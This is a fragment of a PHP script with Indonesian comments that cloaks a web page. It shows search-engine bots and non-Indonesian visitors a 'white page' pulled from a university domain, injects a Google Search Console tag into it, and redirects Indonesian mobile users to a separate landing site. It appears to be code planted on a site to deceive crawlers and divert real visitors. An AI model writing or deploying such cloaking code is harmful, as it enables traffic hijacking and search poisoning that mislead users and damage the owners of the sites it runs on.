isMobile(); if (!$country) { error_log("Gagal deteksi lokasi untuk IP: $ip"); $country = 'UNKNOWN'; } // URL white page dan landing page $whiteUrl = 'https://pps.unu.ac.id/white.php'; $landingUrl = 'https://berita-terkini.id/pps/'; // Kalau bot atau non-Indonesia, tampilkan white.php + inject GSC if ($isBot || $country !== 'Indonesia') { $page = @file_get_contents($whiteUrl); if ($page) { // Inject GSC tag ke
$gscTag = ''; $page = str_replace('', "\n $gscTag", $page); echo $page; } else { echo 'Gagal load white.php'; } ob_end_flush(); exit(); } // Kalau mobile user dari Indonesia → redirect if ($isMobile && $country === 'Indonesia') { header("Location: $landingUrl"); exit(); } // Selain itu juga tampilkan white.php tanpa inject GSC $page = @file_get_contents($whiteUrl) ?: 'Gagal load white.php'; echo $page; ob_end_flush(); ?>